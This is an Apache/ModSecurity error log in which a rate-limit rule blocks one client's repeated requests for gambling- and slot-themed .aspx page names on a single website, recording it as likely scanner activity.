[Sat Mar 14 05:32:14.591395 2026] [:error] [pid 3914:tid 3998] [client 65.108.2.171:23340] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abSCXvH_HeUqa_sn9-AI8wAAAI4"]
[Sat Mar 14 05:32:17.167406 2026] [:error] [pid 3912:tid 3927] [client 65.108.2.171:45708] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abSCYcXFZBK-jpdCvTHG-wAAAAA"]
[Sat Mar 14 05:32:19.689111 2026] [:error] [pid 3913:tid 3964] [client 65.108.2.171:45724] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abSCYx9qvQd4GQHUp6_9MAAAAEc"]
[Sat Mar 14 05:32:22.416811 2026] [:error] [pid 35801:tid 35818] [client 65.108.2.171:45740] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abSCZm8tVFelXGsqbU-obwAAAQ4"]
[Sat Mar 14 05:32:25.067674 2026] [:error] [pid 3914:tid 3995] [client 65.108.2.171:62428] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abSCafH_HeUqa_sn9-AI_QAAAIs"]
[Sat Mar 14 05:32:27.832622 2026] [:error] [pid 3914:tid 3993] [client 65.108.2.171:62436] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abSCa_H_HeUqa_sn9-AJAQAAAIk"]
[Sat Mar 14 05:32:30.473010 2026] [:error] [pid 35801:tid 35825] [client 65.108.2.171:62446] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abSCbm8tVFelXGsqbU-oewAAARU"]
[Sat Mar 14 05:32:33.083104 2026] [:error] [pid 35801:tid 35828] [client 65.108.2.171:62456] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abSCcW8tVFelXGsqbU-ohgAAARg"]
[Sat Mar 14 05:32:35.730637 2026] [:error] [pid 3914:tid 3995] [client 65.108.2.171:62282] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abSCc_H_HeUqa_sn9-AJCwAAAIs"]
[Sat Mar 14 05:32:38.546729 2026] [:error] [pid 35801:tid 35808] [client 65.108.2.171:62298] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abSCdm8tVFelXGsqbU-olwAAAQQ"]
[Sat Mar 14 05:32:41.261597 2026] [:error] [pid 35801:tid 35811] [client 65.108.2.171:62308] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abSCeW8tVFelXGsqbU-oqAAAAQc"]
[Sat Mar 14 05:32:43.946466 2026] [:error] [pid 3913:tid 3972] [client 65.108.2.171:62314] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abSCex9qvQd4GQHUp6_9OQAAAE8"]
[Sat Mar 14 05:32:46.519742 2026] [:error] [pid 35801:tid 35811] [client 65.108.2.171:10420] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abSCfm8tVFelXGsqbU-oswAAAQc"]
[Sat Mar 14 05:32:49.270552 2026] [:error] [pid 4018:tid 4030] [client 65.108.2.171:10428] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abSCgQEk1fxdMMkDDaLTaAAAAMU"]
[Sat Mar 14 05:32:51.881183 2026] [:error] [pid 4018:tid 4033] [client 65.108.2.171:10430] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abSCgwEk1fxdMMkDDaLTbAAAAMg"]
[Sat Mar 14 05:32:54.488263 2026] [:error] [pid 3914:tid 3991] [client 65.108.2.171:10442] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abSChvH_HeUqa_sn9-AJGAAAAIc"]
[Sat Mar 14 05:32:57.079441 2026] [:error] [pid 3912:tid 3947] [client 65.108.2.171:17204] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abSCicXFZBK-jpdCvTHHFgAAABQ"]
[Sat Mar 14 05:32:59.821476 2026] [:error] [pid 4018:tid 4049] [client 65.108.2.171:17212] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abSCiwEk1fxdMMkDDaLTdAAAANg"]
[Sat Mar 14 05:33:02.278849 2026] [:error] [pid 35801:tid 35812] [client 65.108.2.171:17216] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abSCjm8tVFelXGsqbU-ovgAAAQg"]
[Sat Mar 14 05:33:35.862905 2026] [:error] [pid 35801:tid 35818] [client 65.108.2.171:8768] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abSCr28tVFelXGsqbU-pBgAAAQ4"]
[Sat Mar 14 05:33:38.407360 2026] [:error] [pid 4018:tid 4034] [client 65.108.2.171:8784] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abSCsgEk1fxdMMkDDaLTtAAAAMk"]
[Sat Mar 14 05:33:41.199350 2026] [:error] [pid 3913:tid 3972] [client 65.108.2.171:8796] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abSCtR9qvQd4GQHUp6_9ZgAAAE8"]
[Sat Mar 14 05:33:43.772435 2026] [:error] [pid 35801:tid 35816] [client 65.108.2.171:8808] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "abSCt28tVFelXGsqbU-pEQAAAQw"]
[Sat Mar 14 05:33:46.427096 2026] [:error] [pid 35801:tid 35827] [client 65.108.2.171:3090] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abSCum8tVFelXGsqbU-pGQAAARc"]
[Sat Mar 14 05:33:49.056931 2026] [:error] [pid 35801:tid 35821] [client 65.108.2.171:3094] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abSCvW8tVFelXGsqbU-pIQAAARE"]
[Sat Mar 14 05:33:51.716354 2026] [:error] [pid 3914:tid 4002] [client 65.108.2.171:3104] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abSCv_H_HeUqa_sn9-AJOgAAAJI"]
[Sat Mar 14 05:33:55.505898 2026] [:error] [pid 35801:tid 35811] [client 65.108.2.171:8808] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "abSCw28tVFelXGsqbU-pKAAAAQc"]
[Sat Mar 14 05:33:58.184580 2026] [:error] [pid 3914:tid 3989] [client 65.108.2.171:8812] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abSCxvH_HeUqa_sn9-AJPgAAAIU"]
[Sat Mar 14 05:34:00.749107 2026] [:error] [pid 3913:tid 3966] [client 65.108.2.171:8820] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abSCyB9qvQd4GQHUp6_9dQAAAEk"]
[Sat Mar 14 05:34:03.300145 2026] [:error] [pid 35801:tid 35813] [client 65.108.2.171:8822] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "abSCy28tVFelXGsqbU-pOgAAAQk"]
[Sat Mar 14 05:34:05.959577 2026] [:error] [pid 35801:tid 35825] [client 65.108.2.171:12980] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abSCzW8tVFelXGsqbU-pQgAAARU"]
[Sat Mar 14 05:34:08.584771 2026] [:error] [pid 35801:tid 35808] [client 65.108.2.171:12990] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abSC0G8tVFelXGsqbU-pSwAAAQQ"]
[Sat Mar 14 05:34:11.415837 2026] [:error] [pid 35801:tid 35812] [client 65.108.2.171:12998] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abSC028tVFelXGsqbU-pVwAAAQg"]
[Sat Mar 14 05:34:13.950865 2026] [:error] [pid 4018:tid 4040] [client 65.108.2.171:13012] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abSC1QEk1fxdMMkDDaLT0QAAAM8"]
[Sat Mar 14 05:34:16.552838 2026] [:error] [pid 3912:tid 3939] [client 65.108.2.171:26714] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abSC2MXFZBK-jpdCvTHHQAAAAAw"]
[Sat Mar 14 05:34:19.128861 2026] [:error] [pid 35801:tid 35823] [client 65.108.2.171:26716] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abSC228tVFelXGsqbU-pbQAAARM"]
[Sat Mar 14 05:34:21.850158 2026] [:error] [pid 4018:tid 4026] [client 65.108.2.171:26718] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abSC3QEk1fxdMMkDDaLT4AAAAME"]
[Sat Mar 14 05:34:24.500310 2026] [:error] [pid 4018:tid 4042] [client 65.108.2.171:26726] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abSC4AEk1fxdMMkDDaLT5QAAANE"]
[Sat Mar 14 05:34:27.044206 2026] [:error] [pid 3913:tid 3974] [client 65.108.2.171:10872] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abSC4x9qvQd4GQHUp6_9ggAAAFE"]
[Sat Mar 14 05:34:29.781394 2026] [:error] [pid 3914:tid 4008] [client 65.108.2.171:10886] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abSC5fH_HeUqa_sn9-AJTAAAAJg"]
[Sat Mar 14 05:34:32.487216 2026] [:error] [pid 3914:tid 3997] [client 65.108.2.171:10894] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abSC6PH_HeUqa_sn9-AJUgAAAI0"]
[Sat Mar 14 05:35:04.349078 2026] [:error] [pid 3913:tid 3979] [client 65.108.2.171:11484] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abSDCB9qvQd4GQHUp6_9rAAAAFY"]
[Sat Mar 14 05:35:07.073013 2026] [:error] [pid 35801:tid 35820] [client 65.108.2.171:47476] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abSDC28tVFelXGsqbU-p9QAAARA"]
[Sat Mar 14 05:35:09.830500 2026] [:error] [pid 3914:tid 3992] [client 65.108.2.171:47492] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abSDDfH_HeUqa_sn9-AJbwAAAIg"]
[Sat Mar 14 05:35:12.410536 2026] [:error] [pid 3914:tid 3994] [client 65.108.2.171:47496] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abSDEPH_HeUqa_sn9-AJcwAAAIo"]
[Sat Mar 14 05:35:14.855983 2026] [:error] [pid 3914:tid 3999] [client 65.108.2.171:34410] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abSDEvH_HeUqa_sn9-AJdQAAAI8"]
[Sat Mar 14 05:35:17.575908 2026] [:error] [pid 35801:tid 35806] [client 65.108.2.171:34420] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abSDFW8tVFelXGsqbU-qBgAAAQI"]
[Sat Mar 14 05:35:20.084196 2026] [:error] [pid 35801:tid 35810] [client 65.108.2.171:34434] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abSDGG8tVFelXGsqbU-qDAAAAQY"]
[Sat Mar 14 05:35:22.675301 2026] [:error] [pid 3913:tid 3974] [client 65.108.2.171:34436] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abSDGh9qvQd4GQHUp6_9rwAAAFE"]
[Sat Mar 14 05:35:25.510323 2026] [:error] [pid 3913:tid 3972] [client 65.108.2.171:21142] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abSDHR9qvQd4GQHUp6_9swAAAE8"]
[Sat Mar 14 05:35:28.270587 2026] [:error] [pid 4018:tid 4037] [client 65.108.2.171:21144] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abSDIAEk1fxdMMkDDaLULwAAAMw"]
[Sat Mar 14 05:35:31.091998 2026] [:error] [pid 4018:tid 4031] [client 65.108.2.171:21160] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abSDIwEk1fxdMMkDDaLUNAAAAMY"]
[Sat Mar 14 05:35:33.690708 2026] [:error] [pid 35801:tid 35812] [client 65.108.2.171:21172] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abSDJW8tVFelXGsqbU-qHwAAAQg"]
[Sat Mar 14 05:35:36.211818 2026] [:error] [pid 3912:tid 3930] [client 65.108.2.171:49808] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abSDKMXFZBK-jpdCvTHHXAAAAAM"]
